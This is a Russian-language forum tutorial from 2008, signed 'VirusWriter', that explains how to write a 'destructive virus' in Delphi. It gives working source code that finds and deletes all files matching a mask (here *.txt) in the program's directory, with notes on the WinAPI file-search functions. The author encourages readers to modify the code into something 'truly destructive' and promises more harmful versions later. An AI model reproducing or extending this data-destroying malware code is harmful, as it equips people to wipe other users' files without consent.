Часть I. 3:50 PM 5/27/2008 [ Вступление ] Сейчас расскажу, как написать вирус за 5 минут, именно деструктивный вирус, то есть тот который будет удалять файлы определенного формата(формат мы определим в переменной), в текущем каталоге, где он будет находится. Ну что, перейдем к кодингу... [ Кодим ] Кодить мы будем на дельфи, так что установите себе 6-7 версию или любую другую (у меня 6). Для начала определимся с моделью вируса, что он будет делать и как это реализуем. Для начала вирус, определяем свое текущее расположение, смотрим код чуть ниже: Code // // возвращает полный путь // до папки с нашим вирусом и // записывает его в VirPath // procedure GetVirusPath; begin GetCurrentDirectory(128, VirPath); end; Процедура отработала, мы получили путь к вирусу, зачем это нужно - для того чтобы определить текущий каталог, как мы ранее оговорили, наш вирус будет удалять файлы в текущем каталоге определенного формата, по этому рассмотрим функцию удаления файлов по (заданной маске), то есть вирус, не будет удалять все файлы, только переданные в маске и в текущем каталоге. Если чуть модифицировать, то он сможет удалять файлы и вне текущего каталога. Code // // Функция удаляет файлы // в текущем каталоге, передается // маска в которой указывается // формат удаляемых файлов //
procedure DeleteFileInCurDir(zsMask : PChar); var lpff: _WIN32_FIND_DATA; hFind: dword; begin hFind:=FindFirstFile(zsMask, lpff); while FindNextFile(hFind, lpff) do begin if lpff.cFileName = '..' then continue; DeleteFile(lpff.cFileName); end; end; По сути ядром нашей программы, является функция удаления файлов, так как в ней и осуществляются все основные действия. Давайте подробнее рассмотрим, что и посредством чего здесь выполняется/работает. Три WinAPI функции поиска файлов, Начало/продолжение/конец поиска файлов, это FindFirstFile, FindNextFile и FindClose соответственно. Первая функция FindFirstFile имеет следующий прототип Code HANDLE FindFirstFile(
LPCTSTR lpFileName, // указатель имени файла для поиска LPWIN32_FIND_DATA lpFindFileData // указатель на возвращаемую информацию ); Возвращаем 0 – при успешности вызова. Парная функция FindNextFile, имеет такой прототип Code BOOL FindNextFile(
HANDLE hFindFile, // описатель поиска LPWIN32_FIND_DATA lpFindFileData // указатель на структуру данных найденных файлов ); То есть, она принимает параметры от предыдущей функции FindFirstFile. Функция завершающая поиск FindClose Code BOOL FindClose(
HANDLE hFindFile // принимает обработчик ); Единственный параметр, это обработчик поиска, она выполняет закрытие поиска. Три парные функции мы рассмотрели теперь рассмотрим структуру поиска, Code typedef struct _WIN32_FIND_DATA { // wfd DWORD dwFileAttributes; // атрибуты файла FILETIME ftCreationTime; // время создания FILETIME ftLastAccessTime; // последний доступ FILETIME ftLastWriteTime; // последняя запись в файл DWORD nFileSizeHigh; // размер файла (максимум) DWORD nFileSizeLow; // размер файла (минимум) DWORD dwReserved0; // зарезервировано до след. версий DWORD dwReserved1; // также TCHAR cFileName[ MAX_PATH ]; // имя найденного файла TCHAR cAlternateFileName[ 14 ]; // альтернативное имя файла } WIN32_FIND_DATA; После выполнения функции FindFirstFile заполняется структура WIN32_FIND_DATA, в нашем случае наша переменная lpff, в lpff подробная информация о искомом файле. Затем мы уже можем, обращаться к переменной lpff.cFileName и удалять её, если она конечно соответствует формату передаваемому в szMask. Одно замечание, процедура Code procedure GetVirusPath; begin GetCurrentDirectory(128, VirPath); end; Определяющая текущий каталог вируса, не будет использоваться в нашем случае, но пригодится нам в следующих версиях статьи/вируса, выходит это потому что мы сразу ищем в текущем каталоге файлы. Если вы до сих пор сомневаетесь в работоспособности нашего «псевда-вируса», запустите его, передав функции DeleteFileInCurDir, необходимое расширение файла. Пока вирус (да и статья тоже) по эффективности похожа на bat файл, с содержимым Код: Но, в следующих версиях будет намного круче, к тому же я не знал вашего уровня знаний, а здесь рассмотрены ключевые структуры работы с файлами, которые будут применяться в следующих версиях. [ На последок ] 1) Находим путь к нашему вирусу // не используется 2) И удаляем в текущем каталоге вируса, файлы определенного формата 3) Выходим, до нового старта Все теперь наша точка входа должна выглядеть вот так: Code begin
// Получаем путь до нашего вируса //GetVirusPath; до будущих времен
// Удаляем файлы (повторюсь определенного формата) в текущем каталоге DeleteFileInCurDir ('*.txt'); // определяю формат TXT
// Выходим ExitProcess(0); end. И вот примитивный вирус за 5 минут готов. При переделки его можно превратить В по настоящему деструктивный и очень опасный, который сможет испортить людям жизнь, но к счастью я не преследую такой задачи. Статья написана из интереса и только, вы можете модифицировать исходный код моего «псевдо-вируса», так как во первых – я не смогу проследить ваши действия, во вторых – оно мне не нужно. [ Заключение ] 4:02 PM 5/27/2008 - примерно в это время я закончил писать эти строки. Все исходные коды, к этой мини статье я прилагаю. Я описал основные, методы которыми должен обладать такой вирус, теперь вы сможете сами создать, что-то более сложное и по функциональнее чем мое творение. Возможно, я вообще не умею писать, по этому вас стоит Черкнуть пару строк, прокомментируйте мою мини-статью и «песвдавирус» тоже. © VirusWriter 2008
Источник: http://forum.xaknet.ru |